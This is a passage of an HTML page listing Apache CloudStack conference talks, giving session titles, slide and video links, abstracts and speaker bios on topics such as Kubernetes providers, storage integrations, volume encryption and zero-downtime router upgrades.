Uruguay and is a father of a young girl. He is a fan of sports, enjoys playing tennis and football. In his free time, he also enjoys reading and listening to economic and political materials.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/providing-microsoft-azure-functions-and-microsoft-dataverse-resources-with-cloudstack" target="_blank" rel="noopener" title="Providing Microsoft Azure Functions And Microsoft Dataverse Resources With CloudStack">Providing Microsoft Azure Functions And Microsoft Dataverse Resources With CloudStack</a> - Quentin Roccia, Christophe Gondouin, Pierre Charton</strong></span><p>any business projects (CRM, ERP, etc) are using proprietary cloud solutions that may be available outside these major clouds. Christophe, Pierre and Quentin will demonstrate the possibilities to use Apache CloudStack when working on the Microsoft Azure and Microsoft Dataverse world, providing the same features on an open-source cloud solution.</p><a href="https://www.youtube.com/watch?v=ta4bQ1-DUw0&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=17&amp;t=6s" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/dd59ea36-159c-4cc5-9641-a8ee200151de" alt="Screenshot 2023-01-10 at 11.22.11.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/sDFvYJ7wTYentK" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About the speakers:</strong><p>Christophe Senior code and platform architect, DIMSI partner, Christophe is helping all technical teams to choose best patterns and implementations to deliver fast, reliable and clean software solutions When not trashing and re-coding software developed by our team, you may find him playing with his 2 children, drinking beers with his friends or on his computer watching Series</p><p>Pierre Senior back-end developer, Pierre is in charge of Backroll integration inside CloudStack. Pierre has a proven track record of successful c# and Java projects. When not playing with his keyboard, Pierre is surfing, WingFoiling or bodyboarding on the Brittany coast.</p><p>Quentin Senior DevOps engineer <!-- -->&amp;<!-- --> Cloud enabler, DIMSI partner Quentin is in charge of DIMSI custom developments on Apache CloudStack deployment : customer portal, backup solution. On a daily basis, he helps our customers and our developers to use and embrace Devops methodology, by building CI/CD pipelines (GitLab, Azure Devops), dockerizing apps and automate things as much as possible... When not DevOps'ing, Quentin loves to binge watch series and movies, play with his cat "Boogie" and is a crazy fan of street food.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/our-journey-developing-kubernetes-capi-provider-for-apache-cloudstack" target="_blank" rel="noopener" title="Our Journey Developing Kubernetes CAPI Provider For Apache CloudStack">Our Journey Developing Kubernetes CAPI Provider For Apache CloudStack</a> - David Jumani</strong></span><p>The Kubernetes Cluster API (CAPI) sub-project aims to simplify and unify the Kubernetes cluster lifecycle management. With almost a dozen provider implementations, we decided to add our own provider implementation for Apache CloudStack. But how simple was it? With several CRDs, controllers, API versions, and even experimental features, and e2e tests to develop, it’s easy to get lost in the details and can seem quite overwhelming. Join us to discover how we did it! We detail our journey, from building an initial prototype over a weekend to a full-fledged, production-ready application, and deployed in an environment with over 10s of 1000s of hosts! We share the pitfalls, hacks, learnings, and key takeaways from our journey to develop CAPC – the CAPI Provider for Apache CloudStack.</p><a href="https://www.youtube.com/watch?v=AR8JXotMir8&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=29" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/c0b3a35f-e51e-401e-bc47-393bbc3701ad" alt="Screenshot 2023-01-10 at 11.25.12.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/1DYYVsXmkfQqzS" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"> </iframe><strong>David Jumani:</strong><p>David is a CloudStack committer, member of the Kubernetes Org and Software Engineer at ShapeBlue.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/cloudstack-at-ntt-data-business-solutions" target="_blank" rel="noopener" title="CloudStack At NTT DATA Business Solutions">CloudStack At NTT DATA Business Solutions</a> - Andre Walter</strong></span><p>Learn more about the Implementation and use of Apache CloudStack at NTT DATA Business Solutions GMS.</p><a href="https://www.youtube.com/watch?v=jL4sQoFF3CY&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=18" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/226343c5-4eb9-4ae4-84e9-746ec6cf320d" alt="Screenshot 2023-01-10 at 11.27.57.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/CZZYJBo4XFsJtS" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About Andre Walter:</strong><p>Andre Walter has been with NTT DATA for 10 years now, previously engaged at SAP focusing on Software on Demand Solutions and bringing it into production. He leads Cloud Infrastructure Services, which runs 24×7 Infrastructure Services <!-- -->&amp;<!-- --> Data Center operations globally and has been implementing CloudStack successfully since 2014. When not at work, you might see him training for a Marathon.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/volume-encryption-in-cloudstack" target="_blank" rel="noopener" title="Volume Encryption In CloudStack">Volume Encryption In CloudStack</a> - Vladimir Petrov</strong></span><p>In this talk, Vladi looks at the new Volume encryption option (due in CloudStack 4.18). He presents the new ability to use encrypted root and data volumes on different storage types, the benefits and the current limitations of the implementation.</p><a href="https://www.youtube.com/watch?v=92mtFk4XMaY&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=19" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/14788ebe-fdb1-4895-8838-3890aaee79d3" alt="Screenshot 2023-01-10 at 11.31.46.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/dBZcOPO6INQ1Ye" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><div><strong>About Vladimir Petrov:</strong></div><div>Vladimir Petrov is a QA engineer with more than 20 years of experience in the IT field. He is using and testing Apache CloudStack for almost 3 years now. Currently working as a QA Engineer in ShapeBlue.</div><div></div><div><span><strong><a href="https://www.slideshare.net/ShapeBlue/storpool-storage-verview-and-integration-with-cloudstack" target="_blank" rel="noopener" title="StorPool Storage Оverview and Integration with CloudStack">StorPool Storage Оverview and Integration with CloudStack</a> - Slavka Peleva, Venko Moyankov, Alex Ivanov&nbsp;</strong></span></div><div>StorPool is a leading software provider that develops the most reliable and speedy storage platform on the market. The software comes as an utterly hands-off solution – StorPool’s team architects, deploys, tunes, monitors, and maintains the system. The software has a native plug-in for CloudStack, and it is the ideal solution for companies that aim to optimize and grow their business, eliminate data storage issues, or secure fast and reliable access to data to achieve their business goals. In this talk, you’ll find out more about StorPool’s functionality, architecture, and use cases. You’ll also learn about the new features of the product and its deeper integration into CloudStack.</div><a href="https://www.youtube.com/watch?v=045dkTHlcf8&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=20" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/f4e2c5db-8664-497c-bf2e-835276fb0595" alt="Screenshot 2023-01-10 at 11.34.50.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/vvBEIU8sivkvjF" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About the speakers:</strong><p>Slavka Peleva is a software developer at StorPool Storage and has been a passionate CloudStack Committer since 2021. She is part of the CloudStack community and is excited to work on new features and capabilities to improve the open-source cloud management solution. At StorPool Slavka is responsible for the product integration with CloudStack and is working on its native implementation in the technology. With her dedication and efforts in creating the StorPool’s plugin for CloudStack, companies can build reliable and speedy storage that is powered by the two technologies.</p><p>Venko Moyankov is the Solutions Lead at StorPool Storage, a fully managed data storage solution that transforms commodity hardware into a shared, powerful, highly available, and reliable storage system. He has experience with managing large virtualizations, working in telcos, designing and supporting the infrastructure of large enterprises. In the last year his focus has been in helping companies globally to build the best storage solution according to their needs and projects.</p><p>Alex Ivanov is the Product Lead at StorPool Storage and is responsible for the product strategy and tactics at the company. He has experience in the storage market and a deep understanding of the needs and priorities of businesses managing large-scale clouds to run diverse, mission-critical workloads. At StorPool, he works closely with the team to evolve the StorPool primary storage platform and expand its capabilities and usefulness for various use cases. His goal - ensure StorPool cost-effectively delivers above and beyond what is possible with other primary storage products to help customers achieve their commercial and technical goals.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/backroll-production-grade-kvm-backup-solution-integrated-in-cloudstack" target="_blank" rel="noopener" title="Backroll: Production Grade KVM Backup Solution Integrated in CloudStack">Backroll: Production Grade KVM Backup Solution Integrated in CloudStack</a> - Grégoire Lamodière, Quentin Roccia, Pierre Charton</strong></span><p>Backroll is not only a production-grade KVM backup solution. It is also being integrated inside Apache CloudStack using the Backup and restore framework. Pierre and Quentin show how it works, the feature list, and how the integration has been made.</p><a href="https://www.youtube.com/watch?v=SuHy8vtj7mw&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=21" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/181660e1-d093-4892-909a-e29a780ac602" alt="Screenshot 2023-01-10 at 11.37.42.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/2ewme3mjI4KyL5" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><div><strong>About the speakers:</strong></div><div>Grégoire is a software architect who spends most of his time designing infrastructure applications and CRM systems, on-premise or multi-cloud based. He’s been using Apache CloudStack for many years, and likes to keep knowledge and data outside black-boxes Father of 4 children, you can meet him in Southern Brittany, sailing Hobbie Cat or supporting Lorient football club at Moustoir stadium.</div><div><p>Quentin is in charge of DIMSI custom developments on Apache CloudStack deployment : customer portal, backup solution. On a daily basis, he helps our customers and our developers to use and embrace Devops methodology, by building CI/CD pipelines (GitLab, Azure Devops), dockerizing apps and automate things as much as possible... When not DevOps'ing, Quentin loves to binge watch series and movies, play with his cat "Boogie" and is a crazy fan of street food.</p><p>Pierre is in charge of Backroll integration inside CloudStack. Pierre has a proven track record of successful c# and Java projects. When not playing with his keyboard, Pierre is surfing, WingFoiling or bodyboarding on Brittany coast.</p></div><div><span><strong><a href="https://www.slideshare.net/ShapeBlue/what-cloudstackers-need-to-know-about-linstordrbd" target="_blank" rel="noopener" title="What CloudStackers Need To Know About LINSTOR/DRBD">What CloudStackers Need To Know About LINSTOR/DRBD</a> - Philipp Reisner</strong></span></div><div>Philipp explains the best performing Open Source software-defined storage software available to Apache CloudStack today. It consists of two well-concerted components. LINSTOR and DRBD. Each of them also has its independent use cases, where it is deployed alone. In this presentation, the combination of these two is examined. They form the control plane and the data plane of the SDS. We will touch on: Performance, scalability, hyper-convergence (data-locality for high IO performance), resiliency through data replication (synchronous within a site, 2-way, 3-way, or more), snapshots, backup (to S3), encryption at rest, deduplication, compression, placement policies (regarding failure domains), management CLI and webGUI, monitoring interface, self-healing (restoring redundancy after device/node failure), the federation of multiple sites (async mirroring and repeatedly snapshot difference shipping), QoS control (noisy neighbors limitation) and of course: complete integration with CloudStack for KVM guests. It is Open Source software following the Unix philosophy. Each component solves one task, made for maximal re-usability. The solution leverages the Linux kernel, LVM and/or ZFS, and many Open Source software libraries. Building on these giant Open Source foundations, not only saves LINBIT from re-inventing the wheels, it also empowers your day 2 operation teams since they are already familiar with these technologies.</div><a href="https://www.youtube.com/watch?v=xEWjocVhzno&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=22" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/3a720046-c093-4636-83bb-e48f4f64da92" alt="Screenshot 2023-01-10 at 11.41.03.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/a81uXODtt3KItT" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><div><strong>About Phillip Reisner:</strong></div><div>Philipp Reisner is one of the founders and CEO of LINBIT in Vienna/Austria. He holds a Dipl.-Ing. (comparable to MSc) degree in computer science from Technical University in Vienna. His professional career has been dominated by developing DRBD, a storage replication software for Linux. While in the early years (2001) this was writing kernel code, today he leads a company of 30 employees with locations in Austria and the USA. LINBIT is an Open Source company offering enterprise-level support subscriptions for its Open Source technologies.</div><div></div><div><span><strong><a href="https://www.slideshare.net/ShapeBlue/mentored-gsoc-projects-at-apache-cloudstack" target="_blank" rel="noopener" title="Mentored GSoC Projects At Apache (CloudStack)">Mentored GSoC Projects At Apache (CloudStack)</a> - Daan Hoogland</strong></span></div><div>Google Summer of Code is a global, online program focused on bringing new contributors into open-source software development. Apache CloudStack has worked with a number of GSoC students for a number of years. But how successful has that been? In this talk, Daan reviews the involvement of CloudStack in GSoC and takes a look at some of the work done by the GSoC students.</div><a href="https://www.youtube.com/watch?v=tDDoxFwhIvw&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=23" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/42398084-c5f1-40a7-90f2-74ef658440d3" alt="Screenshot 2023-01-10 at 11.43.57.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/Fuq8qNUVR2FP4" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About Daan Hoogland:</strong><p>Daan Hoogland has been a software developer in about all roles available in the field, starting in 1991. Provisioning has been a recurring theme in his career. Functional design, Programming, Testing and also Functional Management and Operations, have been his main responsibilities over the years. At present He works as a software engineer at Shapeblue Ltd. and as a Technical Official at World Triathlon and the NTB (Dutch triathlon organisation) and is a Pilates - and Triathlon trainer.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/10x-your-cloud-business-with-stack-console-cloudstack" target="_blank" rel="noopener" title="10x Your Cloud Business With Stack Console &amp; CloudStack">10x Your Cloud Business With Stack Console &amp; CloudStack</a> - Saurabh Rapatwar</strong></span><p>Every cloud service provider wants to boost their sales, but how? With the help of Stack Console’s reseller management module and CloudStack, a data center or cloud service provider can build resellers/partners and provide them with an automated white-label cloud management platform so they can sell cloud services under their own brand, such as compute, Kubernetes, load balancer, block storage, and so on. Many of resellers are likely to be small and medium-sized businesses that want to get into the cloud market, so this is great news for them. Service providers will still make money whether a customer buys a service directly from them or through one of their resellers.</p><a href="https://www.youtube.com/watch?v=T_nhzY3-QZs&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=24" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/6b18b8d7-3faf-4f2d-87cc-2ea5686f305e" alt="Screenshot 2023-01-10 at 11.46.25.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/hLfHYS9nzHSnt9" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><div><strong>About Saurabh Rapatwar:</strong></div><div>Saurabh is a leader, an innovator, and a technology pioneer with more than 13 years of experience in the SaaS, IaaS, and technology domains. He is the CEO of Stack Console, a cloud management platform built on top of Apache CloudStack for datacenters and web hosting providers.</div><div></div><div><span><strong><a href="https://www.slideshare.net/ShapeBlue/extending-cloudstack-to-deliver-a-multi-availability-zone-public-cloud" target="_blank" rel="noopener" title="Extending CloudStack To Deliver a Multi Availability Zone Public Cloud">Extending CloudStack To Deliver a Multi Availability Zone Public Cloud</a> - Kshitish Purohit</strong></span></div><div>This session covers how 2 or more disparate CloudStack environments can be unified together to set up a cloud across multiple availability zones (AZ). This unification, achieved using the Apiculus solution, can add tremendous value to service providers who, along with operating multiple CloudStack environments, wish to add a business life cycle element (billing, marketing, customer management, support) to their public cloud offering. This is not a technical session and includes a demonstration of a multi-AZ cloud set-up using CloudStack and Apiculus.</div><a href="https://www.youtube.com/watch?v=eNLSmnzpMr4&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=25" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/2fc24938-1eb0-45ed-8731-a7bf850935f0" alt="Screenshot 2023-01-10 at 11.49.54.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/LGb1mCtsMuhRuB" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><div><strong>About Kshitish Purohit:</strong></div><div>Kshitish is the Co-Founder and Chief Product Officer at IndiQus. Kshitish has over 15 years of experience in the user experience, product management and startup domains, and has been an entrepreneur for all his career. Kshitish is also a trail and mountain athlete, and can be found exploring and mapping new trails, or running a mountain race, when not working.</div><div></div><div><span><strong>Cloud Services in the Core of a Multi-business Company - Gustavo Rossi, Esteban Tissera, Nicolas Furman</strong></span></div><div>*Pending slides.</div><a href="https://www.youtube.com/watch?v=1NLtsJtV3xk&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=26" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/79033ade-81a3-4bc2-a2e3-259fbaf23146" alt="Screenshot 2023-01-10 at 11.53.33.png" width="750" height="393" class="img_ev3q"></a><div><span><strong><a href="https://www.slideshare.net/ShapeBlue/block-device-performance-tuning-using-iothreads" target="_blank" rel="noopener" title="Block Device Performance Tuning Using iothreads">Block Device Performance Tuning Using iothreads</a> - Venko Moyankov</strong></span></div><div>Block device IO performance can be substantially improved by employing libvirtd iothreards to handle IO operations. In this presentation, Venko discusses the problem with poor IO performance in QEMU/KVM virtual machines and how it could be resolved using libvirtd iothreards to offload IO tasks and improve the VM stability and block IO performance.</div><a href="https://www.youtube.com/watch?v=mA0K4NcY8OA&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=27" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/e0c156ba-002d-4c25-99ba-53c1de9f297d" alt="Screenshot 2023-01-10 at 11.56.53.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/sTrbIGSVNrSpdn" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About Venko Moyankov:</strong><p>Venko Moyankov is a solution architect at StorPool Storage. He has experience with managing large virtualizations, working in telcos, designing and supporting the infrastructure of large enterprises. In the last year his focus has been in helping companies globally to build the best storage solution according to their needs and projects.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/the-curious-case-of-cloud-repatriation" target="_blank" rel="noopener" title="The Curious Case Of Cloud Repatriation">The Curious Case Of Cloud Repatriation</a> - Sunando Bhattacharya</strong></span><p>In this session, we examine how enterprises are realising that Hyperscaler clouds are not the best solution for all their cloud needs and are now repatriating a large part of their workloads to various private cloud platforms. We also examine how CloudStack is best placed to address the needs of these enterprises.</p><a href="https://www.youtube.com/watch?v=EyUeqtE9-i4&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=28" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/906ffba3-5523-4ff4-b65c-684153977ac9" alt="Screenshot 2023-01-10 at 11.59.13.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/HMm5QHTj33LbNT" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><div><strong>About Sunando Bhattacharya :</strong></div><div>Sunando is the Co-Founder and CEO at IndiQus Technologies. With over 20 years of experience in the internet, telecom and cloud domains, Sunando drives the overall business vision at IndiQus. Outside of work, Sunando is a motorcycle enthusiast who rides along the highways and high mountain roads of India.</div><div></div><div><h2><span>Day 3 Sessions:</span></h2></div><span><strong><a href="https://www.slideshare.net/ShapeBlue/whats-coming-in-cloudstack-418" target="_blank" rel="noopener" title="What's Coming In CloudStack 4.18">What's Coming In CloudStack 4.18</a> - Boris Stoyanov</strong></span><p>A first look at some of the work-in-progress features due in the upcoming CloudStack 4.18 release.</p><a href="https://www.youtube.com/watch?v=8Ep9_WXi10Q&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=30" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/674d0427-79b8-44bc-ae9a-660e4e70072d" alt="bobby.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/mxXDohqMIMIiLt" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About Boris Stoyanov:</strong><p>Boris is a committer and PMC at Apache CloudStack also works at ShapeBlue and is devoted to testing CloudStack.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/beating-the-hyperscalers-with-a-highperformance-costefficient-cloud-with-apiculus-and-storpool" target="_blank" rel="noopener" title="Beating The Hyperscalers With A High-performance, Cost-efficient Cloud With Apiculus And StorPool">Beating The Hyperscalers With A High-performance, Cost-efficient Cloud With Apiculus And StorPool</a> - Alex Ivanov, Sunando Bhattacharya, Kshitish Purohit</strong></span><p>Setting up and operating a public cloud that is not only hyperscale-grade, but can actually beat the hyperscalers, requires a unique combination of a high-performance, cost-efficient and UX-first approach. In this workshop, IndiQus and StorPool showcase how the Apiculus and StorPool solutions, together with CloudStack, can create that winning formula for local, domestic and regional cloud providers.</p><a href="https://www.youtube.com/watch?v=RzQRpg6HKRY&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=31" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/b3271841-0529-496e-bf4a-50297c8e79d7" alt="Screenshot 2023-01-10 at 12.05.08.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/uEZF2jj71IRVS3" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About the speakers:</strong><p>Alex Ivanov, Product Lead at StorPool Storage Alex Ivanov is the Product Lead at StorPool Storage and is responsible for the product strategy and tactics at the company. He has experience in the storage market and a deep understanding of the needs and priorities of businesses managing large-scale clouds to run diverse, mission-critical workloads. At StorPool, he works closely with the team to evolve the StorPool primary storage platform and expand its capabilities and usefulness for various use cases. His goal - ensure StorPool cost-effectively delivers above and beyond what is possible with other primary storage products to help customers achieve their commercial and technical goals. Venko Moyankov, Solutions Architect at StorPool Storage Venko Moyankov is the Solutions Lead at StorPool Storage, a fully managed data storage solution that transforms commodity hardware into a shared, powerful, highly available, and reliable storage system. He has experience with managing large virtualizations, working in telcos, designing and supporting the infrastructure of large enterprises. In the last year his focus has been in helping companies globally to build the best storage solution according to their needs and projects.</p><p>Sunando is the Co-Founder and CEO at IndiQus Technologies. With over 20 years of experience in the internet, telecom and cloud domains, Sunando drives the overall business vision at IndiQus. Outside of work, Sunando is a motorcycle enthusiast who rides along the highways and high mountain roads of India.</p><p>Kshitish is the Co-Founder and Chief Product Officer at IndiQus. Kshitish has over 15 years of experience in the user experience, product management and startup domains, and has been an entrepreneur for all his career. Kshitish is also a trail and mountain athlete, and can be found exploring and mapping new trails, or running a mountain race, when not working.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/ui-test-cases-with-cloudstack" target="_blank" rel="noopener" title="UI Test Cases With CloudStack">UI Test Cases With CloudStack</a> - Magali Pervan, Navid Abdoul</strong></span><p>Each CloudStack update is a critical process to prevent production issues. At DIMSI, we aim to reduce downtimes and regressions as much as possible for our end users. We are now implementing automated UI Tests to cover all main use cases whenever a new release is published. Navid and Magali give an overview of how it is being done, and the next steps, including potential integration inside the code project.</p><a href="https://www.youtube.com/watch?v=0IckKZK7_YA&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=32" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/36d7634f-ad64-49e2-bb9d-0909bb28ae80" alt="magali.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/NMQzpIKDQ6fwVs" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start"></span> </iframe><div><strong>About the speakers:</strong></div><div>Magali Pervan - Senior Scrumaster, DIMSI partner, Magali is in charge of agility at DIMSI. She helps all project teams to work together in a smooth and efficient atmosphere When not delivering projects on track and on time, she loves traveling around the world to discover other cultures.</div><div><p>Navid Abdoul - Junior platform engineer, Navid joined DIMSI last summer to help us provide maximum performance and uptime to our customers He is dedicated to guaranteeing fast and reliable customer VM’s backup When not playing with video games, Navid is watching action movies.</p></div><span><strong><a href="https://www.slideshare.net/ShapeBlue/using-ai-to-place-vms-on-hypervisors" target="_blank" rel="noopener" title="Using AI To Place VMs On Hypervisors">Using AI To Place VMs On Hypervisors</a> - Sina Kashipazha</strong></span><p>CloudStack’s VM placement policies don’t fit the current need of the industry. We have to create external tools to load balance VMs on hosts. We have an idea (which is under heavy development) to implement an AI algorithm to manage VM placement on a host. The algorithm is triggered based on a criteria (like when there is no place for a VM with 64G Ram and 32 core), which results in changing the placement of the VMs on a system.</p><a href="https://www.youtube.com/watch?v=Cd00S3d5rBY&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=33" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/7afccd2a-544a-479e-be58-e22e9e5de427" alt="sina.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/asGCivOi2s0RC2" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start"></span> </iframe><strong>About Sina Kashipazha:</strong><p>y name is Sina, I'm a software engineer with a passion for distributed applications, computer networks, and the cloud. To turn my passion into a career, I joined Computer Network Lab at my university as a research assistant and developed various network and cloud tools. After that, I joined the LeaseWeb company to expand my knowledge of complex production cloud environments. Currently, I am the Software Engineer in the CloudStack team of LeaseWeb. I’m responsible for all the infrastructure and management tasks for our public and private cloud, which runs in 8 regions in 7 different countries on 3 different continents.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/upgrading-from-rovius-cloudplatform-to-apache-cloudstack" target="_blank" rel="noopener" title="Upgrading From Rovius CloudPlatform to Apache CloudStack">Upgrading From Rovius CloudPlatform to Apache CloudStack</a> - Andrija Panic</strong></span><p>As many organizations prefer the freedom of open-source Apache CloudStack to commercial distributions, the need to migrate seamlessly to CloudStack is increasing. In this practical, demo-led talk, Andrija will look at the steps required to make a reliable migration from Accelerite’s Rovius Cloud platform to Apache CloudStack.</p><a href="https://www.youtube.com/watch?v=dJEf3y-embs&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=34" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/ba53e1d0-ddfd-4162-9b5a-4d82a43bab90" alt="andrija.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/3sXvumVhWR3jaJ" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About Andrija Panic:</strong><p>Andrija Panic is a Cloud Architect at ShapeBlue, the Cloud Specialists, and is a committer and PMC member of Apache CloudStack. Andrija spends most of his time designing and implementing IaaS solutions based on Apache CloudStack.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/nextgen-virtual-routers-and-zero-downtime-upgrades" target="_blank" rel="noopener" title="Next-Gen Virtual Routers And Zero Downtime Upgrades">Next-Gen Virtual Routers And Zero Downtime Upgrades</a> - Rohit Yadav</strong></span><p>CloudStack 4.17 finally reached a point where upgrades can be performed with zero network downtime. In this talk, Rohit:</p><p>– looks at the history of CloudStack virtual router upgrades and how they have evolved towards this point</p><p>– looks in detail at the new “Live patching” functionality in CloudStack 4.17 which enables zero downtime upgrades</p><p>– discusses the limitations of the new functionality</p><p>– demo's the new upgrade process</p><p>The talk also discusses the design and implementation of other recent changes in the virtual router, such as:</p><p>– systemvmtemplate improvements</p><p>– turn-key bundling of systemvmtemplates for automatic setup and upgrades</p><p>– deprecation of systemvm.iso</p><p>And discusses the future roadmap of VR and related next-gen networking features, the new VR agent and further improvements.</p><a href="https://www.youtube.com/watch?v=NFphf0CyBYs&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=35" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/a5a969e5-4a6d-4fb3-b64a-e4be2e33e8b7" alt="rohit.png" width="750" height="393" 